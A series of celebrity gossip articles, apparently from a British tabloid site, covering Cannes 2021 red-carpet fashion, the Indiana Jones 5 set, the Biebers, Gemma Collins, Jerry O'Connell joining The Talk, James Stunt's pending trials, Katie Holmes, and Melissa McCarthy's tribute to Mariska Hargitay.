Cannes Film Festival 2021: (L-R) Poppy Delevingne wowed in a semi-sheer yellow dress as she joined Brooklyn Beckham's stylish ex Hana Cross and Sharon Stone at the glitzy premiere of The Story of My Wife on Wednesday

Poppy appeared to be in great spirits while posing up a storm in her ballgown, ensuring to work all her angles for the camera and spin her long skirt around.

The model's ensemble featured a stylish criss-cross neckline across her chest and a tight bodice which accentuated her slim figure.

She added a touch of sparkle to her look for the star-studded night by donning blue drop earrings with diamonds around the edges.

Wow! Poppy, 35, (left) looked incredible in a criss-cross neckline dress with a tight bodice which accentuated her slim figure and Hana (right) also opted for an elegant neckline with draped sleeves

All eyes on her: Poppy commanded attention as she took to the red carpet in her canary yellow gown

A vision in yellow: Poppy appeared to be in great spirits while posing up a storm in her ballgown, ensuring to work all her angles for the camera and spin her long skirt around

Safety first: Poppy stuck with the Covid precautions as she sported a matching yellow face mask to head inside the venue

Hana also cut an elegant figure in her low-cut cream dress which had draped straps falling over her arms and stunning gem detailing around her waist and skirt.

The brunette beauty wore her long locks slicked back from her face and down, letting them cascade down her back as she showcased her modelling skills for the cameras.

She also added an extra touch of glam with a selection of chic jewels, including a quirky necklace and large drop earrings as well as a diamond ring.

Blowing kisses: Hana also cut an elegant figure in her low-cut cream dress which had draped straps falling over her arms and stunning gem detailing around her waist and skirt

Showing off her skills: The brunette beauty wore her long locks slicked back from her face and down, letting them cascade down her back as she flaunted her modelling skills for the cameras

Incredible: Hana exuded confidence while posing on the star-studded red carpet ahead of the screening of the new film

Also seen gracing the red carpet was Sharon who commanded attention in a blue gown adorned with multi-coloured flowers.

She flashed smiles and waved at the cameras before heading inside, ensuring to showcase her impressive skirt and eye-catching look.

Her choppy ice blonde locks were perfectly coiffed and exposed a dazzling pair of diamond chandelier earrings.

Sharon jetted to Cannes to host the annual glitzy AmfAR benefit gala, which supports AIDS research.

This years event will be held outdoors at Villa Eilenroc on Friday evening and will feature various entertainments, dinner and an auction.

Blue-tiful! Also seen gracing the red carpet was Sharon who commanded attention in a blue gown adorned with multi-coloured flowers

Gorgeous: She flashed smiles and waved at the cameras before heading inside, ensuring to showcase her impressive skirt and eye-catching look

All about the accessories: Her choppy ice blonde locks were perfectly coiffed and exposed a dazzling pair of diamond chandelier earrings

Adoring public: Sharon caused a storm on the red carpet with photographers going wild for her arrival

On top of the world: Once Sharon reached the top of the staircase she turned to wave to her fans and photographers

Amazing from all angles: Sharon's stunning tulle gown looked sensational as she twirled around on the red carpet \a

Snap happy: Sharon looked picture perfect as she posed up a storm on the glitzy red carpet

Beaming beauties: Sharon looked phenomenal as she waved for the crowds on the star-studded red carpet

Blooming lovely: Sharon made the most of the space on the red carpet as she spread out her stunning ballgown

Gearing up for the big night: Sharon jetted to Cannes to host the annual glitzy AmfAR benefit gala, which supports AIDS research

One to watch: The Story Of My Wife is an adaptation of Milan Fusts 1942 novel and stars Lea Seydoux (pictured) however she has tested positive for Covid-19 and has been forced to skip Cannes Film Festival while isolating

Lady Victoria Hervey looked sensational as she graced the red carpet in a glittering purple gown with a thigh high slit.

Larking around for the cameras, the 44-year-old socialite pulled on her glamorous gown's hem to expose a glimpse of her tanned and toned pins, which were elongated with silver heels.

Injecting yet more colour, Victoria toted a small gold clutch bag that complemented her silver shoes and the stoning on her corseted bodice.

Pretty in purple: Lady Victoria Hervey looked sensational as she graced the red carpet in a glittering purple gown with a thigh high slit

Lovely ladies: Lady Victoria wasn't the only celebrity daring to clash with the red carpet as Amy Jackson looked phenomenal in a burgundy gown featuring a Bardot neckline and voluminous skirt

Work it: Blanca Blanco, 40, flaunted her incredible curves in a skin-tight brown dress with a plunging neckline and statement sleeves for the premiere

All in the details: The brunette beauty completed her look with a bold circle necklace and matching gold drop earrings

The Story Of My Wife is an adaptation of Milan Fusts 1942 novel. The story is set in the 1920s and sees sea captain Jakob Storr makes a bet with a friend that he will marry the first woman who enters the cafe they are sat in - just as character Lizzy arrives, according to Variety.

The novel was first published in Hungary in 1942, but not translated into English until the late 1980s.

Lea Seydoux plays the lead role of Lizzy, however she has tested positive for Covid-19 and according to a report from Variety on Saturday, the Blue is the Warmest Colour star, 36, got the virus on set of her new film despite having both doses of the vaccine and being asymptomatic.

Wow: Model Marta Lozano made quit the impression in a scarlet co-ord with an incredibly long and voluminous train

Illusion: While the garment mau have looked like a gown from the back, it was in fact an off the shoulder bardot top with the train attached that she paired with peg leg trousers and heels

Don't get close! There was no chance of climbing the stairs at the same time as Marta, with her train getting in the way

Watch where you step! Other festival goers had to be mindful not to step on Marta's incredible train

A spokesperson for Lea confirmed to the publication that she had tested positive for the virus, and stated she will remain in quarantine until her doctors have advised her it is safe for her to travel.

As Lea now has to remain in self-isolation at her home in Paris, she has not been able to attend the premiere for The French Dispatch on July 12.

The actress also has three other films that are screening at the festival: The Story Of My Wife, France, and Deception.

Gorgeous in red: Belgian model Rose Bertram showcased her sensational physique in a figure-hugging floor length scarlet gown that was adorned with thousands of sequins and gems

Pretty in pink: Model Chiara Sampaio showcased her toned physique in a glittering sheer maxi dress with a thigh high split

It is unclear which film set Lea was working on when she contracted the virus, as she is said to be in pre-production for two films, Crimes of the Future and Le Bal des Folles.

MailOnline has contacted Lea's representatives for further comment at the time.

Cannes Film Festivals general secretary Francois Desrousseaux informed Variety that those attending the festival are tested on a daily basis, and an average of three people per day have been positive cases.

Yellow there! Designer Elisa De Panicis looked sensational in an ochre coat style gown with an eye catching ruffled neckline and floor skimming train
It was announced in April she'd be appearing alongside Harrison Ford in the fifth instalment of the Indiana Jones franchise.

And Phoebe Waller-Bridge, 36, was spotted on set for the first time as she headed to filming in Glasgow, Scotland on Wednesday.

The actress, whose role is yet to be revealed, was dressed in Sixties attire as she walked along the city's Cochrane Street which had been transformed to look as if it was New York City during the time of the space race.

Transformation: Phoebe Waller-Bridge, 36, was spotted on the set of Indiana Jones 5 in Glasgow for the first time on Wednesday after a city street was transformed into New York

The Fleabag creator donned a burgundy coat over a green shirt teamed with a skinny striped scarf.

She wore a pair of blue pinstripe bell bottoms as she sipped on a coffee and walked alongside a member of the crew.

The star could be seen in a pair of circular sunglasses while she wore a blue beret.

Acting the part: The actress, whose role is yet to be revealed, was dressed in Sixties attire as she walked along the city's Cochrane Street which had been made to look like the States

Taking a break: The star could be seen in a pair of circular sunglasses while she wore a blue beret as she sipped on a coffee in between scenes

She accessorised with a chunky brown belt with a large gold buckle while carrying a black leather back with a leopard print material trim.

She completed her ensemble by wearing a pair of black leather boots.

While Phoebe went without, the crew could be seen wearing facemasks amid the coronavirus pandemic.

It's a look: She accessorised with a chunky brown belt with a large gold buckle while carrying a black leather back with a leopard print material trim

In costume: Phoebe completed her ensemble by wearing a pair of black leather boots as she walked between cars including a yellow cab

Harrison Ford, 79, who plays Indiana Jones, was not spotted on set after he sustained a shoulder injury in rehearsals.

The star was instead replaced by a body double, who helped fill in for the Hollywood heavyweight.

Several hundred extras are said to have been employed to films scenes for the movie in Scotland.

Filling in: Harrison Ford, 79, who plays Indiana Jones, was not spotted on set after he sustained a shoulder injury in rehearsals. The star was instead replaced by a body double (left)

The streets have been dressed so they appear like New York City in a recreation of the days following the Apollo 11 spaceflight in 1969, with the traffic lights temporarily being replaced with bright yellow ones for authenticity.

Classic-style American cars could be seen parked, including a red fire engine, while Stars and Stripes flags could be seen hanging on the buildings.

Director Steven Spielberg, who worked on the previous chapters from the franchise, is working as a producer on this film, joined by Kathleen Kennedy, Frank Marshall and Simon Emanuel.

Switching it up: The streets have been dressed so they appear like New York City in a recreation of the days following the Apollo 11 spaceflight in 1969

Steven is being followed as director by James Mangold, who previously said in a statement: 'Im thrilled to be starting a new adventure, collaborating with a dream team of all-time great film-makers.

'Steven, Harrison, Kathy, Frank, and John are all artistic heroes of mine.

'When you add Phoebe, a dazzling actor, brilliant creative voice and the chemistry she will undoubtedly bring to our set, I cant help but feel as lucky as himself.'

The film follows Indiana Jones and the Kingdom of the Crystal Skull which was release in 2008 and made over $790million worldwide.

While the plot of the film is being kept top secret, the yet-to-be titled project is set for release in July 2022.

Inside The Magic reported earlier this year that the latest film will be set during the 1960s space race.

The Illuminerdi reports that Harrison will take on villain Mads Mikkelsen, a Nazi scientist enlisted into NASA by the United States government to work on the space agencys moon landing initiative.
Hailey Bieber has broken her silence after her husband Justin was seen 'yelling' at her in a disturbing new viral video.

The model, 24, is currently in Venice while her partner stays home in Los Angeles, but took time out of her day to gush over her 'amazing' weekend with him.

Alongside a snap of the pair kissing, Hailey posted on her Instagram Stories on Wednesday: 'Reminiscing on how amazing last weekend was. Had the best time surrounded by so much love.

'Any other narrative floating around is beyond false. Don't feed into the negative bulls**t peeps'.

'Don't feed into the negative bull****': Hailey Bieber broke her silence on Wednesday after husband Justin was seen 'yelling' at her in disturbing viral video

Hailey's comments came after a disturbing video emerged of husband Justin shouting at her following a performance on Saturday night, yet fans and onlookers have claimed all is not as it seems.

They insisted Justin was simply 'hyped' after a surprise appearance at XS nightclub with Diplo at the Wynn Las Vegas.

Justin could be seen throwing his hands in the air while walking through the casino with his wife of two years.

Justin and Hailey Bieber spotted out in Las Vegas (July 9) pic.twitter.com/BAtpwhBxxZ  Justin Bieber Crew (@JBCrewdotcom) July 11, 2021

Ciao: The model, 24, is currently in Venice while her partner stays home in Los Angeles, but took time out of her day to gush over her 'amazing' weekend with him

Viral: It came just days after Justin was seen appearing to yell at Hailey following a performance on Saturday night, though fans and onlookers claimed all is not as it seems

The couple were escorted through the casino with a host of security guards as fans clamored for attention from the famous couple.

While a short video clip, which has since been deleted after amassing more than one million views, appeared to show Justin yelling at his wife, bystanders told TooFab that was far from the truth.

'He was not yelling and we were there to witness what went down. He was all adrenaline,' one fan wrote on Twitter after reports surfaced that he blew up at Hailey.

'It doesn't matter how the f*** it 'appears' to you. Don't spread false information on someone especially when you acknowledge that's just what it appears to you. That's defamation of character.'

Tell it like it is: While a video clip, which has since been deleted after more than one million views, appeared to show Justin yelling at his wife, bystanders said that was far from the truth

The user, @biebsclubhouse went on: 'I took this of Justin right before that video was taken. He was on STRAIGHT adrenaline from performing. He wasnt mad at Hailey and he wasnt yelling at her. I hate how hes always painted as the bad guy when hes the furthest thing from it'

The user, @biebsclubhouse went on: 'I took this of Justin right before that video was taken. He was on STRAIGHT adrenaline from performing.

'He wasnt mad at Hailey and he wasnt yelling at her. I hate how hes always painted as the bad guy when hes the furthest thing from it.'

Prior to his surprise stint with the DJ, Bieber took the stage at the new Delilah nightclub and performed a few of his hits.

Sombre: Amid the scandal, the 24-year-old model kept a straight face as she was seen heading to the Yves Saint Laurent fashion show in Venice on Wednesday

Leggy lady! Hailey looked sensational as she boarded a river taxi to attend the show while clad in a black velvet playsuit

Meanwhile, earlier on Wednesday, Hailey was seen heading to the Yves Saint Laurent fashion show in Venice.

Hailey looked sensational as she boarded a river taxi to attend the show while clad in a black velvet playsuit.

The thigh-skimming number offered a look at her toned pins and featured a chunky belt that accentuated her tiny waist.

Alongside her post defending her husband, Hailey also shared snaps in her striking outfit.

Dressed to impress: Alongside her post defending her husband, Hailey also shared snaps in her striking outfit with her 36 million Instagram followers
She recently revealed she's trying for a baby with ex-fiance Rami Hawash after they rekindled their romance.

And Gemma Collins, 40, looked more smitten than ever with her beau, 45, as they packed on the PDA after attending a glamorous charity gala at London mansion Lancaster House on Wednesday night.

The former TOWIE star looked completely enamoured with her man as they shared a romantic kiss on the street before heading back to their hotel, with Gemma continuing to sport a diamond ring on her finger.

Devoted: Gemma Collins looked more smitten than ever with beau Rami Hawash as they packed on the PDA after attending a glamorous charity gala at London mansion Lancaster House on Wednesday night

The couple first sparked rumours they were engaged once again back in April.

Gemma and Rami had earlier mingled with royalty on the evening, as The Prince of Wales and Duchess of Cornwall were among those at the lavish 280-guest event raising funds for a conservation charity founded by Camilla's late brother Mark Shand.

The blonde beauty was clearly enjoying her glitzy night out as she took to her Instagram stories to film the event, which took place beneath a large marquee.

Gemma excitedly filmed her beau Rami as they took their seats, whilst watching a live band play.

Smitten: Gemma, 40, continued to flash a ring on her finger as she enjoyed a date night with her on-again beau, 45, after revealing they're trying for a baby

Bling: The reality star continued to sport a giant diamond on her ring finger

The star was then delighted as she bumped into fashion designer Julien Macdonald, 50, who commented on how glamorous Gemma looked.

Earlier, Gemma and Rami looked lovingly at one another as they left their hotel in the capital.

Gemma looked resplendent in her billowing scarlet gown which featured an elegant ruffled trim.

She carried her essentials in a small black clutch purse which matched her studded kitten heel shoes.

The Only Way Is Essex star upped the glamour for her date night, with her long blonde locks loosely curled and resting on her shoulders.

Kiss kiss: The former TOWIE star, 40, looked completely enamoured with her man, 45, as they shared a romantic kiss on the street before heading back to their hotel, with Gemma continuing to sport a diamond ring on her finger

She painted her lips bright red to match her gown while wearing black eyeliner.

Back in April, the reality star first sparked rumours she was engaged to Rami again after she was seen out with a diamond ring on.

Rami had originally proposed to Gemma by placing the ring in a Christmas pudding when they first dated more than seven years ago, and she wore it again in 2017.

Glowing: The TV star was glowing with happiness as Rami planted a kiss on her cheek

Romance: Rami only had eyes for Gemma as they stopped for an intimate moment following the event

Smitten: Gemma could hardly keep the smile off her face as her on-again boyfriend showered her with affection

Looking good: Gemma and Rami made for quite the glamorous pair in Valentino and Moss Bros as they attended the lavish 280-guest fund-raising event

Four weeks later however, Gemma had called off the engagement and the star was spotted not wearing the ring at the National Television Awards in January.

Last week, reality star Gemma confirmed she'd rekindled her romance with ex-fiance Rami as she revealed their plans to try for a baby.

She got back together with the businessman after she split from fellow former TOWIE star James Argent earlier this year, and previously insisted they were 'just having fun'.

Happy to be here: The couple were all smiles at the 'A Starry Night In The Nilgiri Hills' hosted by the Elephant Family

Fun times: The blonde beauty was clearly enjoying her glitzy night out as she took to her Instagram stories to film the event, which took place beneath a large marquee

Date night: Gemma excitedly filmed her beau Rami as they took their seats, whilst watching a live band play

Look who it is: The star was then delighted as she bumped into fashion designer Julien Macdonald, 50, who commented on how glamorous Gemma looked

Wow: The couple mingled with royalty on the evening, as The Prince of Wales and Duchess of Cornwall were among those at the lavish 280-guest event raising funds for a conservation charity

Let me entertain you: Stars including Katherine Jenkins (pictured) attended the event, with the opera singer performing for guests

Fashion: Lily Cole showed off her quirky sense of style in a long white frock, with a beaded bralette layered over it and floral printed leggings

Gemma revealed her plans with Rami during her Love Lounge podcast, saying: 'I'm definitely having a summer of love, so while I go on a mini break. Who knows, I could come back pregnant.'

She added: 'I've got a lovely partner now and I'm very happy, I never saw that coming and I never predicted it.

'This is what I'm saying, you really have to let your past go and move to the future because everyone's Prince Charming is out there somewhere, and I'm looking forward to having a summer of love.

Bringing the glam: Gemma was a vision in red as she earlier stepped out with her ex-fiance Rami for dinner at London mansion Lancaster House

Making the most of herself: The Only Way Is Essex star upped the glamour for her date night, with her long blonde locks loosely curled and resting on her shoulders

Giving it another go: Gemma confirmed she and Rami were back together last week, admitting she is hoping for a baby with her beau

'This is the last Love Lounge of the series, but the summer of love is only just beginning.'

In a video posted on Friday, Gemma shared a romantic kiss with her on-again partner in the swimming pool of her 1.35m Essex home.

Locking lips in a video for her latest fashion campaign, Gemma could be seen enjoying a dip while looking fabulous in a patterned swimsuit from her new range, before Rami popped out of the water and pulled her in for a kiss.

Engaged? Back in April, the reality star first sparked rumours she was engaged to Rami again after she was seen out with a diamond ring on

The mystery man's identity was initially unclear - as his back was to the camera - however later in the video Rami turned around while grinning from ear to ear, revealing his identity.

Gemma and Rami reportedly got back together in April when they were cosying up together at a restaurant.

Since 2013, when he proposed to Gemma by hiding a diamond ring in a Christmas pudding, Rami has become a father to three-year-old son, Tristan.

Kiss: Last week, Gemma shared a romantic kiss with her on-again partner Rami in the swimming pool of her 1.35m Essex home

A source told MailOnline: 'Gemma has been seeing Rami again in secret for the last six months.

'The pair have enjoyed spending time together and getting reacquainted during date nights in London and Essex.

'Gemma suffered a lot of stress and trauma during her relationship with Arg, which has been on and off for years  but she's finally putting herself first and moving forward with her life.'

On again: The reality star previously gave her romance with Rami a second chance in 2017 after she was spotted wearing the engagement ring he proposed with (pictured in 2013)

The GC previously gave her romance with Rami a second chance in 2017 after she was spotted wearing the engagement ring he proposed with.

Sources at the time said Gemma hoped to start a family with Rami and have the baby she's always dreamed of.

To increase her chances of starting her own family, Gemma has focused this year on being healthy and losing weight, and has since shed 3.5 stone.
Jerry O'Connell announced on Wednesday that he will be the first full-time male co-host of The Talk.

The actor, 47, wore a dark suit and white shirt on the chat show as he broke the news then praised his co-stars Sheryl Underwood, Amanda Kloots and Elaine Welteroth.

'It's fun, and it works, and we're going to have a lot of fun,' the husband of Rebecca Romijn said. 'It's real exciting.'

This news comes just as DailyMail.com obtained unearthed audio recording of Welteroth apologizing to her former co-star Osbourne and reassuring her that 'no one thinks she's racist' in a conversation in Sharon's dressing room after the explosive March 10 show.

I'm in! Jerry O'Connell announced on Wednesday that he will be the first full-time male co-host of The Talk

A fave on the show: The actor, 47, has been on the show many times before as a guest star. Seen with co-stars Sheryl Underwood, Amanda Kloots and Elaine Welteroth, as well as Mark McGrath, far right

His announcement comes after Sharon Osbourne exited the daytime program following claims she had made racist comments.

For the past month there has been speculation favorite guest star O'Connell would join the table.

O'Connell also said on Wednesday: 'First of all, I want to say, you ladies have been so welcoming to me. I mean, I came here as a guest months ago, and just from the moment I walked in, you're just gracious, you're kind, you're fun, and it worked.

Time to shine: 'It's fun, and it works, and we're going to have a lot of fun,' the husband of Rebecca Romijn said. 'It's real exciting'

Up for laughs: O'Connell also said on Wednesday: 'First of all, I want to say, you ladies have been so welcoming to me. I mean, I came here as a guest months ago, and just from the moment I walked in, you're just gracious, you're kind, you're fun, and it worked

'And here we are. We're going to have a lot of fun, we really are,' he added.

In a statement, executive producers Heather Gray and Kristin Matthews said, 'We are beyond thrilled Jerry O'Connell is our new host.

'We loved his infectious enthusiasm, humor, openness and insights as a guest co-host and look forward to him now bringing those dynamic qualities to the show every day. As an accomplished actor, devoted husband and father, Jerry will bring a unique and entertaining perspective to the conversation.'

Osbourne, 68, left the show in March after a tense argument with co-host Underwood and subsequent accusations she'd made racist comments about her peers.

Praise: In a statement, executive producers Heather Gray and Kristin Matthews said, 'We are beyond thrilled Jerry O'Connell is our new host'

Kissy: The producers added, 'We loved his infectious enthusiasm, humor, openness and insights as a guest co-host and look forward to him now bringing those dynamic qualities to the show every day'

O'Connell is no stranger to The Talk, regularly stopping by as guest host.

Jerry had reportedly been in talks with CBS 'on and off since at least May.'

O'Connell will join Underwood, Kloots and Welteroth at the table while Carrie Ann Inaba continues her leave of absence from the series.

CBS is hoping Jerry's addition will help perk up the show's ratings, which dipped after Osbourne's departure, continuing an already downward trend.

Despite the falling viewership, CBS recently renewed the daytime chat show for a 12th season, which will be its first without any of the original co-hosts sitting at the table.

In the past, The Talk has featured Julie Chen Moonves, Sara Gilbert, Marissa Jaret Winokur, Holly Robinson Peete, Leah Remini, Aisha Tyler and Marie Osmond.

Winning formula? The Talk has seen its ratings dip in the wake of Osbourne's departure

Shakeup: Welteroth (left), Underwood (center right), and Kloots (far right) are still on the show while Inaba (second from left) continues her leave of absence from the series

Osbourne left The Talk in March following her fiery defense of friend Piers Morgan, who quit Good Morning Britain after storming off for being criticized for comments about Meghan Markle, a regular target of the conservative commentator's vitriol.

Sharon became emotional while Underwood spoke about Morgan, screaming: 'Educate me, tell me when you have heard him say racist things.'

'I very much feel like I'm about to be put in the electric chair because I have a friend, who many people think is a racist, so that makes me a racist?' Osbourne added.

Allegations then emerged that Osbourne made racist remarks about co-hosts behind the scenes at The Talk, claims which she has staunchly denied.

'Sharon Osbourne has decided to leave The Talk,' CBS said in a statement confirming her departure in March. 'The events of the March 10 broadcast were upsetting to everyone involved, including the audience watching at home.'

Heated: The controversy began when Osbourne delivered a vociferous defense of her friend Piers Morgan and his criticism of Meghan Markle

'As part of our review, we concluded that Sharon's behavior toward her co-hosts during the March 10 episode did not align with our values for a respectful workplace,' the statement continued.

On Wednesday DailyMail.com obtained newly unearthed audio recording of Welteroth apologizing to her former co-star Osbourne and reassuring her that 'no one thinks she's racist' in a conversation in Sharon's dressing room after the explosive March 10 show.

Welteroth can be heard consoling a distraught Osbourne and telling her 'I know you're not racist,' moments after the British TV star's heated on-air confrontation with Underwood.

She also tells Osbourne that she believes the co-hosts were 'set up', revealing CBS showrunners initially wanted her to ask the question that sparked the entire firestorm.

According to the source who shared the footage, the conversation was captured on Welteroth's microphone which was still hot when she visited a distraught Osbourne in her dressing room after they finished taping.

'They asked me to ask that question. I said, no I'm not going to ask that question,' Welteroth says. 'I said to them, this is going to be a train wreck. Sharon, I'm just so sorry that that went the way that it went.'
James Stunt, 39, wore a gold band on his wedding ring finger while out and about with Helena Robinson, 24, in London, on Wednesday.

The businessman emerged while awaiting 2022 trials for money laundering, forgery and racially abusing a police officer - which he has denied.

Petra Ecclestone's ex-husband is thought to have been with his stunning girlfriend - who was not wearing a ring on her fourth finger - for almost two years.

Cute couple: James Stunt, 39, was spotted out and about with girlfriend Helena Robinson, 24, in London, on Wednesday

James showed off his dark tan and slimmed-down frame in a navy blue T-shirt and dark wash jeans as she chatted to his partner.

Helena looked effortlessly glamorous in a black peplum top and houndstooth print trousers, which she teamed with white pumps.

According to The Mirror, the couple met in August 2019, and moved into a new home together in September 2020.

James previously married Petra Ecclestone, daughter of F1 tycoon Bernie Ecclestone, in Italy in 2011. They welcomed three children together - a daughter followed by twin boys - but divorced in 2017.

Could it be? Petra Ecclestone's ex-husband wore a gold band on his wedding ring finger

In February, James 'absolutely' denied racially harassing a black Metropolitan Police officer and was told he will have to wait 17 months for his trial.

The gold bullion dealer is accused of threatening PC Richard Harper in or near his 3.9million home in well-heeled Knightsbridge, West London, on June 22 2019.

But he was granted unconditional bail, and his trial date was set for July 25 next year, to allow for a previous hearing which he is involved in.

The businessman is due to appear in court in Leeds in April next year after being charged with money laundering and forgery following an investigation by West Yorkshire Police.

Appearing at Southwark Crown Court via video-link, he denied causing racially aggravated alarm or distress and a further offence of harassment, and when arraigned on the offence told the court: 'Absolutely not guilty'.

Looking good: James showed off his dark tan and slimmed-down frame in a navy blue T-shirt and dark wash jeans as she chatted to his partner

Karim Khalil QC, defending, requested the court delay the two to three-day trial until a 12-week trial in April next year is completed in Leeds for an unrelated alleged money laundering charge.

Mr Khalil said: 'We're waiting for a more substantial matter to be heard first. We would want the more serious matters to be tried first. They'll be well known to the court.

'This is a bail case, there's no difficulty in custody time limits. The Crown's evidence is either recorded or noted. There's no anxiety of any witness trying to recollect any material.'

The gold dealer was warned he must appear at the next court date or a warrant would be issued for his arrest. When asked if he understood by Judge Deborah Taylor, he replied: 'I do, my lady.'

Last year, James' former bodyguard, Justinas Ivaskevicius, 34, was cleared of stealing a 515,000 diamond from the tycoon's 10million Belgravia mansion after a trial.

But in January, Ivaskevicius was jailed for 33 months after he was found with blank cheques belonging to James.

Stylish: Helena looked effortlessly glamorous in a black peplum top and houndstooth print

James once boasted of being worth 3billion and having 200 luxury cars, but he was declared bankrupt in June 2019.

James' ex-wife Petra, is now engaged to fiance Sam Palmer, 38, with whom she shares a one-year-old daughter.

Last year, James thanked Helena for 'saving his life' and getting him off drugs.

He said: 'She saved my life  and is even willing to let me fake credit for my children's Lego. I've never met anyone more beautiful, on the inside and out...

'She is my Helena of Troy. She saved my life when people who have known me my entire life didnt lift a finger. She got me off drugs and lit the fire in my soul once again.'
The South of France is awash with stars visiting for this year's Cannes Film Festival.

And Kat Graham, 31, ensured she stood out from the crowd by putting on a leggy display at the Martinez Hotel in the resort town on Wednesday.

The Vampire Diaries star kept her style simple in an oversized brown shirt which acted as a minidress.

Simple style: Kat Graham, 31, ensured she stood out from the crowd by putting on a leggy display in a brown shirt dress at the Martinez Hotel at the Cannes Film Festival on Wednesday

The garment was left unbuttoned at the collar and down by her thigh, leaving her long legs on show.

The actress wore a pair of brown heels with the straps winding up over her ankles and clasping at the back of her feet.

Her shoes left her toes uncovered, leaving her painted nails on display.

Showing off her fashion credentials: The Vampire Diaries star kept her style simple in an oversized brown shirt which acted as a minidress

Kat wore a brown wide jersey headband to compliment her ensemble.

The star hid behind a pair of black shades and posed up a storm on the sweeping staircase of her hotel before stepping out into the sunshine.

As she left her temporary home she carried a large Christian Dior bag packed with belongings.

Stepping out: The garment was left unbuttoned at the collar and down by her thigh, leaving her long legs on show as she carried a Christian Dior bag upon leaving her hotel

Meeting her crowd: Kat looked pleased to greet fans outside the hotel as she abided by the local rules to wear a face covering in a bid to protect herself and others from coronavirus

Once outside, Kat looked pleased to greet fans as she abided by the local rules to wear a face covering in a bid to protect herself and others from coronavirus.

The actress has been showing off her fashion credentials at the Cannes Film Festival, last week wearing a gorgeous billowing green and white strapless gown.

The star turned heads on the French red carpet as her patterned dress danced in the wind.

Vision in green: Kat commanded attention last Tuesday as she arrived at Cannes Film Festival in a billowing strapless gown

Her garment was peppered with metallic dots and boasted a V-shaped corset adorned with green beads while she boosted her height with gold sandal heels which complemented her gold jewellery.

Sharing a picture of herself on the red carpet on Instagram, she wrote: 'Thank you @etro @marcodl82 @pomellato @mattiaferrari for this moment for Cannes! So grateful for my Italian familia.

'Hair @massimoserini.official. Makeup @ElisaRampi. Styled by @marcodl82 #Cannes #Cannes2021.'
Katie Holmes is a doting mother who seems to put her only child, daughter Suri Cruise, first.

And on Wednesday the Batman Begins actress did just that as she treated the teenager - whom she called the 'sweetest daughter' on Mother's Day in May - to a shopping spree in the SoHo neighborhood of Manhattan.

The mother and daughter team were seen smiling as they wore casual outfits while waling into trendy store Scotch And Soda.

Happy lady: Katie Holmes smiled from ear to ear as she was seen on a busy New York City street on Wednesday

Holmes was wearing a blue and white striped men's shirt that was not tucked into her acid washed boyfriend jeans.

The frequent cover girl added her favorite pair of Gucci loafers as she carried a matching purse.

The red carpet favorite wore her wavy brunette hair down over her shoulders, adding black sunglasses.

Suri, 15, had on short shorts and an oversized T-shirt with flip flops as she added a bright pink face mask and held on to her cell phone.

The two appeared to be in a great mood as she laughed and smiled on the busy sidewalk.

Manhattan style: Holmes was wearing a blue and white striped men's shirt that was not tucked into her acid washed boyfriend jeans. The cover girl added her favorite pair of Gucci loafers as she carried a matching purse

This comes three months after she split from chef turned actor Emilio Vitolo Jr with sources saying their relationship 'fizzled'.

'They figured out theyre better off as friends. Theres no drama that went down with the breakup and in fact, theyre still friends.' a source told Us Weekly.

Emilio collaborates with his father to run the popular Italian restaurant Emilio's Ballato, a favorite of celebrity visitors including Tom Hanks, Bradley Cooper and even former president Barack Obama.

Money mama: The looker was seen opening her Louis Vuitton wallet while inside the store Scotch And Soda

His romance with Katie reportedly faded after she left for Connecticut to film her second feature as a director, The Watergate Girl.

According to ET, Katie took a 'wait and see' approach to her relationship while she was out of the state filming.

'Before she left, [Katie and Emilio] were inseparable, but their relationship was existing in a bubble,' said an insider. 'Because of the pandemic, she wasn't jet setting around the country for jobs and he wasn't tied up every night working at his family's restaurant.'

But once their regular social lives resumed, the couple found they were not 'as compatible anymore.'

Just like mama: Suri Cruise, 15 wore a plain white T-shirt with short shorts and a pink face mask

Holmes praised her 'talented' ex Vitolo Jr. ahead of his new short film Almost A Year premiering at the 2021 Tribeca Film Festival.

Katie, who served as producer on Almost A Year, shared a sweet post congratulating leading man Emilio on the project.

Alongside stills from the movie, she penned: 'ALMOST A YEAR @tribecafilmfestival. I am so excited for the start of the @tribecafilmfestival today!!!!!

'I am so honored to have been a part of the making of ALMOST A YEAR which is premiering at #Tribeca2021 as part of #TribecaAtHome tickets and more details on the @Tribeca website. Congratulations to the very talented and amazing cast @eveclindley @emiliovitolo @lilmitz_ and director @jamiesonbaker,' she concluded.

She was wed to Tom Cruise from 2006 until 2012. Soon after the split she began dating Tom's friend Jamie Foxx. The actors split in 2020.
Melissa McCarthy knows how to support an ailing friend.

This week the Heat actress, 57, shared a video where she was seen on a busy street as she held up a sign that read: 'Honk if you're PTAYING for Mariska Hargitay's recovery!!!'

Hargitay of Law & Order: SVU fame has been recovering from surgery after breaking her ankle.

Friends: Mariska Hargitay (left), who is recovering from surgery after breaking her ankle, got a funny tribute video from her pal Melissa McCarthy (right)

So sweet: Melissa posted an Instagram clip of herself on a street corner outside a Wienerschnitzel holding a sign in Mariska's honor

Melissa posted an Instagram clip of herself on a street corner outside a Wienerschnitzel holding a sign in Mariska's honor.

'Honk if you're PRAYING for Mariska Harigtay's recovery!!!' read the sign and indeed a couple of passing motorists did hit their horns.

Melissa's star power was not involved in the stunt as she was wearing a mask that would have made it impossible for passersby to recognize her.

She was jumping around energetically on the sidewalk and getting fully into the spirit of her kindhearted gesture.

'If you cant produce quality care for your friend after ankle surgery, the next best this is obviously standing outside Wienerschnitzel with a sign,' she captioned.

Having a ball: 'Honk if you're PRAYING for Mariska Harigtay's recovery!!!' read the sign and indeed a couple of passing motorists did hit their horns

Concealed: Melissa's star power was not involved in the stunt as she was wearing a mask that would have made it impossible for passersby to recognize her

Bounding about: She was jumping around energetically on the sidewalk and getting fully into the spirit of her kindhearted gesture

Having a ball: 'If you cant produce quality care for your friend after ankle surgery, the next best this is obviously standing outside Wienerschnitzel with a sign,' she captioned

Mariska reposted Melissa's video and gushed in her own caption: 'Above and beyond. Honk if youre blown away by @melissamccarthys heart and humor.'

The daughter of Jayne Mansfield added: 'Might be worth breaking my ankle for. #PrayingSheGotMeATakeOutSchnitzel. #WomenSupportingWomen.'

Mariska announced her broken ankle on July 5 with an Instagram picture of one of her feet in a fuzzy slipper and the other in a cast.

She has been starring as NYPD detective Olivia Benson on Law And Order: Special Victims Unit since it began in 1999.

Pals: Mariska and Melissa are pictured having a virtual chat late last year for the latter's 20 Days Of Kindness charity initiative

Her role on the show, which is nearing 500 episodes, has become so beloved that Taylor Swift named one of her cats Olivia Benson.

